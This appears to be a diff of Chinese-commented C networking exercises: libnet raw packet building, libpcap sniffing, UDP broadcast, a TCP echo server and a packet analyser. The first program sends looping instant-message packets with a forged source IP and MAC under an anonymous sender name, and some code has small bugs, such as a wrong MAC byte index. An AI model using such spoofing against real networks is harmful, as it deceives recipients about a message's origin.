printf("usage: %s <device>\n", argv[0]);
return -1;
}
while (1)
{
// 1. 初始化libnet
char err_buf[LIBNET_ERRBUF_SIZE] = "";
libnet_t *net = libnet_init(LIBNET_RAW4, argv[1], err_buf);
if (net == NULL)
{
printf("libnet_init error: %s\n", err_buf);
return -2;
}
printf("libnet_init success\n");
// 2. 构建数据
// 2.1 UDP
u_char msg_data[64] = "";
u_char say_what[64] = "";
printf("请输入要发送的内容:");
// scanf("%s", say_what);
fgets(say_what, sizeof(say_what), stdin); // 比 scanf 的优点是可以输入空格
say_what[strlen(say_what) - 1] = '\0'; // 去掉最后的换行符
sprintf(msg_data, "1:%d:%s:%s:%d:%s", 123, convertToGB2312("发送者"), convertToGB2312("匿名PC"), 32, convertToGB2312(say_what));
int msg_data_len = strlen(msg_data) + strlen(msg_data) % 2; // 整数补齐偶数位,strlen(msg_data)%2 : 偶数+0,奇数+1
printf("msg_data_len = %d ---> %s\n", msg_data_len, convertToUTF8(msg_data));
// 2.1.2 构建UDP数据包
libnet_ptag_t udp_tag = 0;
udp_tag = libnet_build_udp(
2425, // 源端口
2425, // 目的端口
8 + msg_data_len, // UDP数据包长度
0, // 校验和,0为自动计算
msg_data, // 数据
msg_data_len, // 数据长度
net, // libnet句柄
0 // 0 表示构造新的报文,>0表示在已有报文基础上追加
);
if (udp_tag != -1)
{
printf("udp tag: %d\n", udp_tag);
}
// 2.2 ip 报
libnet_ptag_t ip_tag = libnet_build_ipv4(
20 + 8 + msg_data_len, // IP数据包总长度
0, // tos
0, // id, 0表示自动计算
0, // 标志位
32, // TTL
17, // 上层协议号,17表示UDP
0, // 校验和,0表示自动计算
inet_addr("10.12.156.196"), // 源IP地址,网络序
inet_addr("10.12.156.178"), // 目的IP地址,网络序
NULL, // 负载数据,这里不需要
0, // 负载数据长度
net, // libnet句柄
0 // 协议标记,0表示构造新的报文, >0表示在已有报文基础上追加
); // 构造IP数据包,返回值是新生成的协议块标记
if (ip_tag != -1)
{
printf("ip tag: %d\n", ip_tag);
}
// 2.3 构建以太网数据包
char sender_mac[128] = "4c:e1:73:47:16:3a"; // 发送者原始 MAC
char recv_mac[128] = "00:d8:61:03:45:65"; // 接收者原始 MAC
unsigned char dst_mac[8] = {}; // 目的 MAC
unsigned char src_mac[8] = {}; // 发送者 MAC
sscanf(sender_mac, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", &src_mac[0], &src_mac[1], &src_mac[2], &src_mac[3], &src_mac[4], &src_mac[5]);
sscanf(recv_mac, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", &dst_mac[0], &dst_mac[1], &dst_mac[2], &dst_mac[3], &dst_mac[4], &dst_mac[5]);
printf("src_mac: %s dst_mac: %s\n", src_mac, dst_mac);
libnet_ptag_t eth_tag = libnet_build_ethernet(
dst_mac, // 目的MAC地址
src_mac, // 源MAC地址
0x0800, // 上层协议类型,0x0800表示IP
NULL, // 负载数据,这里不需要
0, // 负载数据长度
net, // libnet句柄
0 // 协议标记,0表示构造新的报文, >0表示在已有报文基础上追加
);
if (eth_tag != -1)
{
printf("eth tag: %d\n", eth_tag);
}
// 3. 发送数据
int send_len = libnet_write(net);
if (send_len == -1)
{
printf("libnet_write error: %s\n", libnet_geterror(net));
}
else
{
printf("libnet_write success, send bytes: %d\n", send_len);
}
// 释放资源
libnet_destroy(net);
}
return 0;
}
+99
View File
@@ -0,0 +1,99 @@
#include <stdio.h>
#include <libnet.h>
int main(int argc, char const *argv[])
{
if (argc < 2)
{
printf("usage: %s <device>\n", argv[0]);
return -1;
}
// 1. 初始化libnet
char err_buf[LIBNET_ERRBUF_SIZE] = "";
libnet_t *net = libnet_init(LIBNET_RAW4, argv[1], err_buf);
if (net == NULL)
{
printf("libnet_init error: %s\n", err_buf);
return -2;
}
printf("libnet_init success\n");
// 2. 构建数据
// 2.1 UDP
u_char data_buf[64] = "";
fgets(data_buf, sizeof(data_buf), stdin);
data_buf[strlen(data_buf) - 1] = '\0';
int data_len = strlen(data_buf) + strlen(data_buf) % 2; // UDP数据包长度必须为偶数
// 2.1.2 构建UDP数据包
libnet_ptag_t udp_tag = 0;
udp_tag = libnet_build_udp(
8001, // 源端口
8000, // 目的端口
8 + data_len, // UDP数据包长度
0, // 校验和,0为自动计算
data_buf, // 数据
data_len, // 数据长度
net, // libnet句柄
0 // 0 表示构造新的报文,>0表示在已有报文基础上追加
);
if (udp_tag != -1)
{
printf("udp tag: %d\n", udp_tag);
}
// 2.2 ip 报
libnet_ptag_t ip_tag = libnet_build_ipv4(
20 + 8 + data_len, // IP数据包总长度
0, // tos
0, // id, 0表示自动计算
0, // 标志位
32, // TTL
17, // 上层协议号,17表示UDP
0, // 校验和,0表示自动计算
inet_addr("10.12.156.232"), // 源IP地址,网络序
inet_addr("10.12.156.178"), // 目的IP地址,网络序
NULL, // 负载数据,这里不需要
0, // 负载数据长度
net, // libnet句柄
0 // 协议标记,0表示构造新的报文, >0表示在已有报文基础上追加
); // 构造IP数据包,返回值是新生成的协议块标记
if (ip_tag != -1)
{
printf("ip tag: %d\n", ip_tag);
}
// 2.3 构建以太网数据包
u_char dst_mac[6] = {0x00, 0xd8, 0x61, 0x03, 0x45, 0x65}; // 目的MAC地址
u_char src_mac[6] = {0x00, 0x0c, 0x29, 0x4e, 0x4a, 0x4c}; // 源MAC地址
libnet_ptag_t eth_tag = libnet_build_ethernet(
dst_mac, // 目的MAC地址
src_mac, // 源MAC地址
0x0800, // 上层协议类型,0x0800表示IP
NULL, // 负载数据,这里不需要
0, // 负载数据长度
net, // libnet句柄
0 // 协议标记,0表示构造新的报文, >0表示在已有报文基础上追加
);
if (eth_tag != -1)
{
printf("eth tag: %d\n", eth_tag);
}
// 3. 发送数据
int send_len = libnet_write(net);
if (send_len == -1)
{
printf("libnet_write error: %s\n", libnet_geterror(net));
}
else
{
printf("libnet_write success, send bytes: %d\n", send_len);
}
// 释放资源
libnet_destroy(net);
return 0;
}
+42
View File
@@ -0,0 +1,42 @@
// libpcap 开发
/*
libpcap是一个用于捕获网络数据包的库,它提供了一组函数和工具,用于在计算机网络上进行数据包捕获、过滤和分析。
在使用libpcap时,你需要在编译和链接你的程序时指定-lpcap选项,以告诉编译器和链接器使用libpcap库。这个选项通常用于Unix-like系统的编译环境,例如在使用GCC编译器时。
*/
#include <pcap.h> // libpcap头文件
#include <stdio.h>
#include <netinet/in.h>
#include <arpa/inet.h> // 网络地址转换函数,如inet_ntoa()->将网络地址转换成“.”点隔的字符串格式
int main(int argc, char const *argv[])
{
// 1. 获取可用的网络设备名称
char err_buf[PCAP_ERRBUF_SIZE]; // 错误信息缓冲区
char *dev = pcap_lookupdev(err_buf); // 获取网络设备名称: err_buf用于存储错误信息
// char *dev = pcap_lookupdev(NULL); // NULL表示获取默认网络设备
if (dev != NULL)
{
printf("网络设备名称: %s\n", dev);
}
else
{
printf("获取网络设备名称失败: %s\n", err_buf);
return 1;
}
// 2. 获取网卡的网络号和子网掩码
bpf_u_int32 netip;
bpf_u_int32 netmask;
if ((pcap_lookupnet(dev, &netip, &netmask, NULL)) == 0)
{
unsigned char ip[16] = "";
unsigned char mask[16] = "";
inet_ntop(AF_INET, &netip, ip, 16); // inet_ntop()将网络地址转换成“.”点隔的字符串格式
inet_ntop(AF_INET, &netmask, mask, 16);
printf("网卡网络号: %s 子网掩码: %s\n", ip, mask);
}
return 0;
}
+83
View File
@@ -0,0 +1,83 @@
// pcap_next 接收下一条数据
#include <pcap.h> // libpcap头文件
#include <stdio.h>
#include <netinet/in.h>
#include <netinet/ether.h>
#include <netinet/ip.h>
#include <arpa/inet.h> // 网络地址转换函数,如inet_ntoa()->将网络地址转换成“.”点隔的字符串格式
#include <string.h>
#include <unistd.h>
int main(int argc, char const *argv[])
{
// 1. 获取可用的网络设备名称
char *dev = pcap_lookupdev(NULL); // NULL表示获取默认网络设备
if (dev != NULL)
{
printf("网络设备名称: %s\n", dev);
}
// 2. 打开网络设备, 开始捕获数据
char err_buf[PCAP_ERRBUF_SIZE] = "";
pcap_t *cap = pcap_open_live(dev, 128, 0, 0, err_buf);
if (cap == NULL)
{
printf("open pcap fail: %s\n", err_buf);
return -1;
}
// 3. 开始捕获数据
while (1)
{
struct pcap_pkthdr cap_hdr;
bzero(&cap_hdr, sizeof(cap_hdr));
const u_char *data = pcap_next(cap, &cap_hdr);
if (cap_hdr.len > 0)
{
printf("数据包长度: %d, 实际长度: %d\n", cap_hdr.caplen, cap_hdr.len);
}
// 分析 mac 报文的数据
struct ether_header *mac_hdr = (struct ether_header *)data;
unsigned char src_mac[18] = "";
unsigned char dst_mac[18] = "";
sprintf(dst_mac, "%02x:%02x:%02x:%02x:%02x:%02x",
mac_hdr->ether_dhost[0],
mac_hdr->ether_dhost[1],
mac_hdr->ether_dhost[2],
mac_hdr->ether_dhost[3],
mac_hdr->ether_dhost[4],
mac_hdr->ether_dhost[5]);
sprintf(src_mac, "%02x:%02x:%02x:%02x:%02x:%02x",
mac_hdr->ether_shost[0],
mac_hdr->ether_shost[1],
mac_hdr->ether_dhost[2],
mac_hdr->ether_shost[3],
mac_hdr->ether_shost[4],
mac_hdr->ether_shost[5]);
unsigned short mac_type = ntohs(mac_hdr->ether_type);
printf("type(%#x) src mac: %s, dst mac: %s\n", mac_type, src_mac, dst_mac);
if (mac_type == 0x0800)
{
// 分析 ip 报文的数据
struct iphdr *ip_hdr = (struct iphdr *)(data + sizeof(struct ether_header));
u_char src_ip[INET_ADDRSTRLEN] = "";
u_char dst_ip[INET_ADDRSTRLEN] = "";
inet_ntop(AF_INET, &ip_hdr->saddr, src_ip, INET_ADDRSTRLEN);
inet_ntop(AF_INET, &ip_hdr->daddr, dst_ip, INET_ADDRSTRLEN);
printf("ip type(%d) %s->%s\n", ip_hdr->protocol, src_ip, dst_ip);
}
sleep(1);
}
// 关闭网卡设备
pcap_close(cap);
return 0;
}
+48
View File
@@ -0,0 +1,48 @@
// pcap_loop 循环接收数据
#include <pcap.h> // libpcap头文件
#include <stdio.h>
#include <netinet/in.h>
#include <netinet/ether.h>
#include <netinet/ip.h>
#include <arpa/inet.h> // 网络地址转换函数,如inet_ntoa()->将网络地址转换成“.”点隔的字符串格式
#include <string.h>
#include <unistd.h>
void recv_data_handler(u_char *user_arg, const struct pcap_pkthdr *caphdr, const u_char *data);
int main(int argc, char const *argv[])
{
// 1. 获取可用的网络设备名称
char *dev = pcap_lookupdev(NULL); // NULL表示获取默认网络设备
if (dev != NULL)
{
printf("网络设备名称: %s\n", dev);
}
// 2. 打开网络设备, 开始捕获数据
char err_buf[PCAP_ERRBUF_SIZE] = "";
pcap_t *cap = pcap_open_live(dev, 128, 0, 0, err_buf);
if (cap == NULL)
{
printf("open pcap fail: %s\n", err_buf);
return -1;
}
// 循环捕获数据
pcap_loop(cap, -1, recv_data_handler, NULL);
// 关闭网卡设备
pcap_close(cap);
return 0;
}
void recv_data_handler(u_char *user_arg, const struct pcap_pkthdr *cap_hdr, const u_char *data)
{
if (cap_hdr->caplen > 0)
{
printf("数据包长度: %d, 实际长度: %d\n", cap_hdr->caplen, cap_hdr->len);
}
sleep(1);
}
+56
View File
@@ -0,0 +1,56 @@
// pcap_loop 循环接收数据
#include <pcap.h> // libpcap头文件
#include <stdio.h>
#include <netinet/in.h>
#include <netinet/ether.h>
#include <netinet/ip.h>
#include <arpa/inet.h> // 网络地址转换函数,如inet_ntoa()->将网络地址转换成“.”点隔的字符串格式
#include <string.h>
#include <unistd.h>
void recv_data_handler(u_char *user_arg, const struct pcap_pkthdr *caphdr, const u_char *data);
int main(int argc, char const *argv[])
{
// 1. 获取可用的网络设备名称
char *dev = pcap_lookupdev(NULL); // NULL表示获取默认网络设备
if (dev != NULL)
{
printf("网络设备名称: %s\n", dev);
}
// 2. 打开网络设备, 开始捕获数据
char err_buf[PCAP_ERRBUF_SIZE] = "";
pcap_t *cap = pcap_open_live(dev, 128, 0, 0, err_buf);
if (cap == NULL)
{
printf("open pcap fail: %s\n", err_buf);
return -1;
}
// 编译过滤规则, 成功则设置过滤规则
char filter[] = "udp dst port 8001";
struct bpf_program program; // 过滤器程序结构体,采用bpf(伯克利包过滤器)
if (pcap_compile(cap, &program, filter, 0, 0xffffff00) == 0)
{
pcap_setfilter(cap, &program);
}
// 循环捕获数据
pcap_loop(cap, -1, recv_data_handler, NULL);
// 关闭网卡设备
pcap_close(cap);
return 0;
}
void recv_data_handler(u_char *user_arg, const struct pcap_pkthdr *cap_hdr, const u_char *data)
{
if (cap_hdr->caplen > 0)
{
printf("数据包长度: %d, 实际长度: %d\n", cap_hdr->caplen, cap_hdr->len);
}
sleep(1);
}
Executable
BIN
View File
Binary file not shown.
+62
View File
@@ -0,0 +1,62 @@
// 利用 setsocketopt() 使用嵌套字支持广播,并编写两个程序,其中一个发送广播数据,另一个接收广播数据
// 客户端
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(int argc, char const *argv[])
{
int sockfd = socket(AF_INET, SOCK_DGRAM, 0); // 创建UDP套接字
if (sockfd < 0)
{
perror("socket error");
exit(1);
}
struct sockaddr_in broadcast_addr, recv_addr; // 广播地址信息结构体对象, 接收广播消息的地址信息结构体对象
memset(&recv_addr, 0, sizeof(recv_addr)); // 初始化接收广播消息的地址信息结构体对象
recv_addr.sin_family = AF_INET; // 设置地址族
recv_addr.sin_port = htons(8000); // 设置端口号
recv_addr.sin_addr.s_addr = INADDR_ANY; // 设置接收任意地址
// 绑定套接字
int is_bind = bind(sockfd, (struct sockaddr *)&recv_addr, sizeof(recv_addr)); // 绑定套接字
if (is_bind < 0)
{
perror("bind error");
exit(1);
}
// 设置套接字选项,启用地址重用,允许接收广播消息
int reuse_flag = 1;
// 说明:SOL_SOCKET表示当前套接字,SO_REUSEADDR表示启用地址重用,&reuse_flag表示设置选项的值,sizeof(flag)表示选项值的大小
int ret = setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &reuse_flag, sizeof(reuse_flag));
if (ret < 0)
{
perror("setsockopt error");
exit(1);
}
// 接收广播消息
char recv_buf[1024]; // 接收缓冲区
// 参数说明: sockfd表示套接字描述符,recv_buf表示接收缓冲区,sizeof(recv_buf)表示接收缓冲区大小,0表示阻塞接收,NULL表示不关注对端地址信息,0表示不关注对端地址信息长度
ssize_t recv_len = recvfrom(sockfd, recv_buf, sizeof(recv_buf), 0, NULL, 0);
if (recv_len < 0)
{
perror("recvfrom error");
exit(1);
}
printf("接收到广播消息: %s\n", recv_buf);
// 关闭套接字
close(sockfd);
return 0;
}
Executable
BIN
View File
Binary file not shown.
+50
View File
@@ -0,0 +1,50 @@
// 利用 setsocketopt() 使用嵌套字支持广播,并编写两个程序,其中一个发送广播数据,另一个接收广播数据
// 服务端
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(int argc, char const *argv[])
{
int sockfd = socket(AF_INET, SOCK_DGRAM, 0); // 创建UDP套接字
if (sockfd < 0)
{
perror("socket error");
exit(1);
}
char broadcast_msg[] = "this is a udp broadcast message"; // 广播消息
// 构造广播地址信息结构体对象
struct sockaddr_in broadcast_addr; // 广播地址信息结构体对象
memset(&broadcast_addr, 0, sizeof(broadcast_addr)); // 初始化广播地址信息结构体对象
broadcast_addr.sin_family = AF_INET; // 设置地址族
broadcast_addr.sin_port = htons(8000); // 设置端口号
broadcast_addr.sin_addr.s_addr = inet_addr("255.255.255.255"); // 设置广播地址
// 设置套接字选项,允许发送广播消息
int broadcast_enable_flag = 1;
// 说明:SOL_SOCKET表示当前套接字,SO_BROADCAST表示允许发送广播消息,&broadcast_enable_flag表示设置选项的值,sizeof(flag)表示选项值的大小
int ret = setsockopt(sockfd, SOL_SOCKET, SO_BROADCAST, &broadcast_enable_flag, sizeof(broadcast_enable_flag));
// 发送广播消息
ssize_t send_len = sendto(sockfd, broadcast_msg, strlen(broadcast_msg), 0, (struct sockaddr *)&broadcast_addr, sizeof(broadcast_addr));
if (send_len < 0)
{
perror("sendto error");
exit(1);
}
printf("广播消息发送成功 (%s)\n", broadcast_msg);
// 关闭套接字
close(sockfd);
return 0;
}
+89
View File
@@ -0,0 +1,89 @@
// 写一个 TCP 并发的服务器,实现 echo 功能
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
int main(int argc, char const *argv[])
{
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0)
{
perror("socket");
return -1;
}
struct sockaddr_in server_addr;
memset(&server_addr, 0, sizeof(server_addr));
server_addr.sin_family = AF_INET; // ipv4
server_addr.sin_port = htons(8000); // port
server_addr.sin_addr.s_addr = htonl(INADDR_ANY); // 服务端的ip地址 : 默认接收任意ip地址的连接
if (bind(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) != 0)
{
perror("bind");
close(sockfd); // 关闭 socket 套接字描述符
return -1;
}
listen(sockfd, 5); // 创建队列长度为5的监听队列
while (1)
{
struct sockaddr_in client_addr; // 客户端地址信息
memset(&client_addr, 0, sizeof(client_addr));
socklen_t client_addr_len = sizeof(client_addr); // 地址信息长度
int client_fd = accept(sockfd, (struct sockaddr *)&client_addr, &client_addr_len); // 从监听队列中取出一个连接
if (client_fd < 0)
{
perror("accept");
continue;
}
char client_ip[INET_ADDRSTRLEN] = ""; // 用于保存客户端的ip地址
inet_ntop(AF_INET, &client_addr.sin_addr, client_ip, sizeof(client_ip)); // 将网络字节序的ip地址转换为点分十进制的ip地址
printf("客户端 %s 连接成功\n", client_ip);
pid_t pid = fork(); // 创建子进程
if (pid == 0)
{
close(sockfd); // 关闭子进程中的监听套接字描述符
while (1)
{
char buf[128] = "";
ssize_t recv_len = recv(client_fd, buf, sizeof(buf), 0); // 接收客户端发送的数据
if (recv_len > 0)
{
char send_buf[1024] = "";
sprintf(send_buf, "收到 %s 发送的数据: %s", client_ip, buf);
send(client_fd, send_buf, strlen(send_buf), 0); // 发送数据给客户端
if (strncmp(buf, "exit", 4) == 0)
{
printf("客户端 %s 断开连接\n", client_ip);
break;
}
}
}
close(client_fd); // 关闭客户端连接套接字描述符
printf("客户端 %s 断开连接\n", client_ip);
exit(0); // 子进程退出
}
}
close(sockfd); // 关闭监听套接字描述符
return 0;
}
+132
View File
@@ -0,0 +1,132 @@
/*
* 写一个网络数据分析器
* 要求:
* 1、对 arp/ip/tcp/udp 数据进行区分。
* 2、把数据包中的源信息,目的信息等重要的信息打印出来。
*/
#include <stdio.h>
#include <pcap/pcap.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h> // memset
#include <net/ethernet.h> // ether_header
#include <netinet/ip.h> // ip
#include <netinet/if_ether.h> // ether_arp
#include <unistd.h> // sleep
int main(int argc, char const *argv[])
{
char errbuf[PCAP_ERRBUF_SIZE]; // 用于存储错误信息的缓冲区
char *dev = pcap_lookupdev(errbuf); // 获取网络接口
if (dev == NULL) // 获取网络接口失败
{
printf("pcap_lookupdev error: %s\n", errbuf);
return -1;
}
printf("网络接口: %s\n", dev);
// 获取网卡的网络号,掩码地址
bpf_u_int32 netip, netmask;
if (pcap_lookupnet(dev, &netip, &netmask, NULL) == 0)
{
unsigned char ip[INET_ADDRSTRLEN] = "";
unsigned char mask[INET_ADDRSTRLEN] = "";
inet_ntop(AF_INET, &netip, ip, INET_ADDRSTRLEN);
inet_ntop(AF_INET, &netmask, mask, INET_ADDRSTRLEN);
printf("网络地址: %s 掩码地址: %s\n", ip, mask);
}
// 打开网络设备,开始捕获数据
pcap_t *pcap_handle = pcap_open_live(dev, BUFSIZ, 1, 0, errbuf);
if (pcap_handle == NULL)
{
printf("pcap_open_live error: %s\n", errbuf);
return -1;
}
while (1)
{
struct pcap_pkthdr pcap_hdr; // 数据包头
memset(&pcap_hdr, 0, sizeof(pcap_hdr)); // 清空结构体
const u_char *packet = pcap_next(pcap_handle, &pcap_hdr); // 获取数据包
if (packet == NULL)
{
printf("pcap_next error\n");
return -1;
}
// 分析 ethernet 报文类型
// 如果是 arp 报文,则打印 arp 报文信息
// 如果是 ip 报文,则打印 ip 报文信息
struct ether_header *eth_hdr = (struct ether_header *)packet;
// 拆分源 mac 地址和目的 mac 地址
unsigned char src_mac_x[ETHER_ADDR_LEN] = ""; // 源 mac 地址
unsigned char dst_mac_x[ETHER_ADDR_LEN] = ""; // 目的 mac 地址
memcpy(src_mac_x, eth_hdr->ether_shost, ETHER_ADDR_LEN); // 拷贝源 mac 地址
memcpy(dst_mac_x, eth_hdr->ether_dhost, ETHER_ADDR_LEN); // 拷贝目的 mac 地址
char src_mac[18] = ""; // 存储 MAC 地址的字符串
char dst_mac[18] = ""; // 存储 MAC 地址的字符串
// 将 MAC 地址转换成字符串
sprintf(src_mac, "%02x:%02x:%02x:%02x:%02x:%02x",
src_mac_x[0], src_mac_x[1], src_mac_x[2], src_mac_x[3], src_mac_x[4], src_mac_x[5]);
sprintf(dst_mac, "%02x:%02x:%02x:%02x:%02x:%02x",
dst_mac_x[0], dst_mac_x[1], dst_mac_x[2], dst_mac_x[3], dst_mac_x[4], dst_mac_x[5]);
if (ntohs(eth_hdr->ether_type) == ETHERTYPE_ARP)
{
// 拆分源 ip 地址和目的 ip 地址
unsigned char src_ip[INET_ADDRSTRLEN] = ""; // 源 ip 地址
unsigned char dst_ip[INET_ADDRSTRLEN] = ""; // 目的 ip 地址
struct ether_arp *arp_hdr = (struct ether_arp *)(packet + sizeof(struct ether_header));
inet_ntop(AF_INET, arp_hdr->arp_spa, src_ip, INET_ADDRSTRLEN); // 拷贝源 ip 地址
inet_ntop(AF_INET, arp_hdr->arp_tpa, dst_ip, INET_ADDRSTRLEN); // 拷贝目的 ip 地址
printf("arp 报文\n");
printf("源地址: %s\t\t目的地址: %s\n源MAC: %s\t目的MAC: %s\n", src_ip, dst_ip, src_mac, dst_mac); // 打印 arp 报文信息
}
else if (ntohs(eth_hdr->ether_type) == ETHERTYPE_IP)
{
// 拆分源 ip 地址和目的 ip 地址
unsigned char src_ip[INET_ADDRSTRLEN] = ""; // 源 ip 地址
unsigned char dst_ip[INET_ADDRSTRLEN] = ""; // 目的 ip 地址
struct ip *ip_hdr = (struct ip *)(packet + sizeof(struct ether_header));
inet_ntop(AF_INET, &ip_hdr->ip_src, src_ip, INET_ADDRSTRLEN); // 拷贝源 ip 地址
inet_ntop(AF_INET, &ip_hdr->ip_dst, dst_ip, INET_ADDRSTRLEN); // 拷贝目的 ip 地址
printf("ip 报文\n");
// 分析 ip 报文类型
// 如果是 tcp 报文,则打印 tcp 报文信息
// 如果是 udp 报文,则打印 udp 报文信息
if (ip_hdr->ip_p == IPPROTO_TCP)
{
printf("tcp 报文\n");
printf("源地址: %s\t\t目的地址: %s\n源MAC: %s\t目的MAC: %s\n", src_ip, dst_ip, src_mac, dst_mac); // 打印 ip 报文信息
}
else if (ip_hdr->ip_p == IPPROTO_UDP)
{
printf("udp 报文\n");
printf("源地址: %s\t\t目的地址: %s\n源MAC: %s\t目的MAC: %s\n", src_ip, dst_ip, src_mac, dst_mac); // 打印 ip 报文信息
}
else
{
printf("其他报文\n");
}
}
else
{
printf("其他报文\n");
}
sleep(1);
}
// 关闭网络设备
pcap_close(pcap_handle);
return 0;
}